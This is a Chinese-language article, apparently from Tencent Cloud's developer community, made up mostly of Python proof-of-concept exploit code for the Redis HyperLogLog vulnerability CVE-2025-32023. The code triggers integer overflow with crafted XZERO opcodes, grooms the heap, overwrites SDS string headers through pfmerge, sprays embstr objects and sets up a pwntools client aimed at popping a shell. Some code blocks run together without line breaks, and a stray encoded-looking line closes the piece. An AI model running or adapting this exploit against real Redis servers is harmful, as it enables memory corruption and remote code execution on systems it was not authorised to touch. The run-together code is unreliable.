
本项目是针对Redis关键远程代码执行漏洞CVE-2025-32023的概念验证分析。该漏洞存在于Redis 7.2.3及以下版本中,攻击者可通过构造恶意的HyperLogLog数据结构,触发内存损坏,最终可能导致远程代码执行。
以下是最基础的漏洞触发代码,演示如何构造恶意的HyperLogLog数据结构:
#!/usr/bin/env python3
import redis
HOST, PORT = 'localhost', 6379
r = redis.Redis(HOST, PORT)
HLL_SPARSE = 1
def p8(v):
"""将整数转换为单字节"""
return bytes([v])
def xzero(sz):
"""构造XZERO操作码"""
assert 1 <= sz <= 0x4000
sz -= 1
return p8(0b01_000000 | (sz >> 8)) + p8(sz & 0xff)
# 构造恶意的稀疏HLL数据结构
pl = b'HYLL'
pl += p8(HLL_SPARSE) + p8(0)*3
pl += p8(0)*8
assert len(pl) == 0x10
pl += xzero(0x4000) * 0x20000 # 触发整数溢出: (0x4000 * 0x20000) = -0x80000000
pl += p8(0b1_11111_11) # runlen = 4, regval = 0x20
r.set('hll:exp', pl)
# 触发hllMerge操作,利用漏洞
r.pfcount('hll:exp', 'hll:exp')更复杂的攻击场景涉及内存布局操纵和数据结构损坏:
#!/usr/bin/env python3
from pwn import *
import redis
import random
import string
HOST, PORT = 'localhost', 6379
binary = ELF('./redis-server')
# Redis命令客户端
r = redis.Redis(HOST, PORT)
# Shell弹出客户端
p = remote(HOST, PORT)
p.sendline('client info')
p.recvuntil('fd=')
fd = int(p.recvline().split()[0])
log.info(f'{fd = }')
HLL_DENSE = 0
HLL_SPARSE = 1
HLL_DENSE_SIZE = 0x3010
# 创建密集HLL(普通字符串,特定编码)
pl = b'HYLL'
pl += p8(HLL_DENSE)
pl = pl.ljust(HLL_DENSE_SIZE, p8(0))
r.set('hll:dense', pl)
# 验证HLL编码有效
r.pfadd('hll:dense')def xzero(sz):
"""
构造HyperLogLog稀疏表示中的XZERO操作码
参数:
sz: XZERO操作的长度(1-0x4000)
返回:
2字节的XZERO操作码
安全漏洞:
当sz参数被恶意控制时,可能触发整数溢出
"""
assert 1 <= sz <= 0x4000 # 断言可能被绕过
sz -= 1
# 构造XZERO操作码:01xxxxxx xxxxxxxx
return p8(0b01_000000 | (sz >> 8)) + p8(sz & 0xff)def create_malformed_hll():
"""
构造恶意的稀疏HLL数据结构以触发内存损坏
技术细节:
1. 使用大量XZERO操作码填充HLL
2. 精心计算偏移量以触发特定内存布局
3. 利用整数溢出控制内存分配
漏洞利用:
- 通过控制XZERO数量触发整数下溢
- 操纵HLL稀疏到密集转换的内存分配
- 覆盖相邻数据结构(如SDS字符串头)
"""
pl = b'HYLL'
pl += p8(HLL_SPARSE) + p8(0)*3 # HLL头部
pl += p8(0)*8 # 寄存器初始值
# 关键漏洞触发部分
# 0x4000 * 0x3fffd = -0xc000(整数溢出)
pl += xzero(0x4000) * 0x3fffd
# 精心计算的偏移量,控制内存布局
pl += xzero(0xc000 - 0x956c) # -0x956c偏移
# 恶意操作码,覆盖SDS类型字段
pl += p8(0b1_00011_00) # runlen=1, regval=4 => SDS_TYPE_64
# 填充剩余空间
pl += xzero(0x156b) # -0x8000偏移
pl += xzero(0x4000) * 3 # 正常填充
return pldef prepare_memory_layout():
"""
准备内存布局,为后续利用创造条件
操作步骤:
1. 创建多个SDS字符串对象
2. 精心设置字符串内容以控制内存布局
3. 为后续的内存损坏做准备
目标:
- 创建可预测的内存布局
- 设置将被覆盖的SDS头部
- 准备后续的embstr对象喷射
"""
# 恶意长度值,将用于覆盖SDS头部
fakelen = 0x4142434445464748
# 设置三个SDS字符串,形成特定的内存布局
# sds:a - 控制长度字段
r.setrange('sds:a', 0x37fa - 11, p64(fakelen))
# sds:b - 将被HLL转换覆盖的关键SDS
r.setrange('sds:b', 0x37fa - 8, b'B'*8)
# sds:c - 辅助SDS,用于内存布局控制
r.setrange('sds:c', 0x37fa - 8, b'C'*8)def trigger_vulnerability():
"""
触发CVE-2025-32023漏洞的核心函数
执行流程:
1. 调用pfmerge触发hllMerge操作
2. hllMerge内部调用hllSparseToDense
3. 恶意的HLL数据触发异常内存分配
4. 精心计算的偏移导致内存损坏
内存分配细节:
- 分配0x3010字节 => 对齐到0x3800(14KiB)
- 恶意的HLL数据导致分配计算错误
- 最终覆盖相邻的SDS字符串头部
"""
# 触发hllMerge + hllSparseToDense
# 分配0x3010字节,四舍五入到0x3800(14KiB)
r.pfmerge('hll:exp', 'hll:dense')
# 验证字符串类型已被修改
assert r.strlen('sds:b') == fakelendef embstr_spray():
"""
执行embstr对象喷射,为后续利用创造条件
技术原理:
- Embstr是Redis中的嵌入式字符串对象
- 大量分配可预测的内存块
- 为后续的代码执行准备内存环境
喷射策略:
- 批量使用mset提高效率
- 使用随机标记跟踪内存位置
- 控制分配大小和数量
"""
marker = ''.join(random.choices(
string.ascii_letters + string.digits, k=8
)).encode()
log.info(f'{marker = }')
spray_cnt = 0x100000 // 0x40 # 计算喷射数量
for i in range(spray_cnt // 0x400): # 批量喷射
ms = {}
for j in range(0x400):
# 构造独特的键名,避免冲突
idx = i * 0x400 + j
key = f'spray:{idx:08x}'
ms[key] = marker
r.mset(ms)免责声明: 本代码仅供安全研究和教育目的使用。未经授权对生产系统进行测试是非法行为。安全研究人员应仅在获得明确授权的环境中进行漏洞测试。FINISHED
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ48AWKc1KfgemisKmQjtc2Y
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。